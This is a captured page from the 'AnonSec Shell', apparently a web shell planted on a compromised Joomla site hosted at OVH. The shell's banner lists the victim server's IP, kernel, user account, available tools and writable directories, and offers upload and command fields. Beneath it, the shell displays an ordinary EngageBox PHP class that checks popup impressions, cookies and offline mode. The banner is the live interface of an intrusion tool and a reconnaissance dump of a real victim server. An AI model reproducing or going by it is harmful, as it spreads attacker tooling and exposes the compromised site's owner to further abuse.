AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_rstbox/EngageBox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_rstbox/EngageBox/Assignments.php
<?php

/**
 * @package         EngageBox
 * @version         7.0.0 Pro
 * 
 * @author          Tassos Marinos <info@tassos.gr>
 * @link            http://www.tassos.gr
 * @copyright       Copyright © 2020 Tassos Marinos All Rights Reserved
 * @license         GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later
*/

namespace Tassos\EngageBox;

defined('_JEXEC') or die('Restricted access');

use Tassos\EngageBox\Helper;
use Tassos\EngageBox\Box;
use Joomla\CMS\Factory;

/**
 *  EngageBox Assignments Class
 *  @todo - Refactor all local assignments to be using the framework's Condition class and let the framework run the checks.
 */
class Assignments
{
	/**
	 *  Item
	 *
	 *  @var  object
	 */
	private $box;

	/**
	 *  Local assignments list
	 *
	 *  @var  array
	 */
	private $assignments = array(
        
		'impressions',
        
		'cookietype',
        'offline'
    );

	/**
	 *  Class Constructor
	 *
	 *  @param  object  $item  The object to be checked
	 */
	public function __construct($box)
	{
        $this->box = $box;
	}

	/**
     *  Pass all checks
     *
     *  @return  boolean  Returns true if all assignments pass
     */
    public function passAll()
    {
        // Temporary fix for the Cookie assignment check as the cookie property doesn't have the 'assign_' prefix.
        // @todo - see class's comment.
        $this->box->params->set('assign_cookietype', true);

        $pass = true;

        foreach ($this->assignments as $key => $assignment)
        {
            // Break if not passed
            if (!$pass)
            {
                break;
            }
            
            $method = 'pass' . $assignment;

            // Skip item if there is no assosiated method
            if (!method_exists($this, $method))
            {
                continue;
            }

            $assign = 'assign_' . $assignment;

            // Skip item if assignment is missing
            if (!$this->box->params->exists($assign))
            {
                continue;
            }

            $pass = $this->$method();
        }

        return $pass;
    }

    /**
     *  Pass Check for Offline Mode
     *
     *  @return  bool
     */
    private function passOffline()
    {
        // Skip check if offline mode is disabled
        if (!Factory::getConfig()->get('offline', false))
        {
            return true;
        }

        $component   = Helper::getParams();
        $globalState = $component->get('assign_offline', true);
        $boxState    = $this->box->params->get('assign_offline', null);

        return is_null($boxState) ? $globalState : $boxState;
    }

    /**
     *  Pass Check for Box Cookie
     *
     *  @return  bool
     */
    private function passCookieType()
    {
        // Skip if assignment is disabled
        if ($this->box->params->get('cookietype') == 'never')
        {
            return true;
        }

        // Skip if box is on Test Mode and a Super User is logged in
        if ($this->box->testmode && Factory::getUser()->authorise('core.admin'))
        {
            return true;
        }

        $cookie = new Cookie($this->box->id);

        return !$cookie->exist();
    }

    
    /**
     *  Checks box maximum impressions assignment
     *
     *  @return  boolean  Returns true if the assignment passes
     */
    private function passImpressions()
    {
        // Skip if assignment is disabled
        if (!$this->box->params->get('assign_impressions', false))
        {
            return true;
        }

        $period = $this->box->params->get('assign_impressions_param_type', 'session');
        $limit  = (int) $this->box->params->get('assign_impressions_list');

        if ($limit == 0)
        {
            return;
        }

        $db = Factory::getDBO();
        $date = Factory::getDate();

        $query = $db->getQuery(true);

        $query
            ->select('COUNT(id)')
            ->from($db->quoteName('#__rstbox_logs'))
            ->where($db->quoteName('event') . ' = 1')
            ->where($db->quoteName('box') . ' = ' . $this->box->id);

        if ($period == "session")
        {
            $query->where($db->quoteName('sessionid') . ' = '. $db->quote(Factory::getSession()->getId()));
        } else
        {
            $query->where($db->quoteName('visitorid') . ' = '. $db->quote(Helper::getVisitorID()));
        }

        switch ($period)
        {
            case 'day':
                $query->where('DATE(date) = ' . $db->quote($date->format("Y-m-d")));
                break;
            case 'week':
                $query->where('YEARWEEK(date, 3) = ' . $date->format("oW"));
                break;
            case 'month':
                $query->where('MONTH(date) = ' . $date->format("m"));
                $query->where('YEAR(date) = ' . $date->format("Y"));
                break;
        }

        $db->setQuery($query);

        $pass = (int) $limit > (int) $db->loadResult();

        return (bool) $pass;
    }
    
}

Anon7 - 2022
AnonSec Team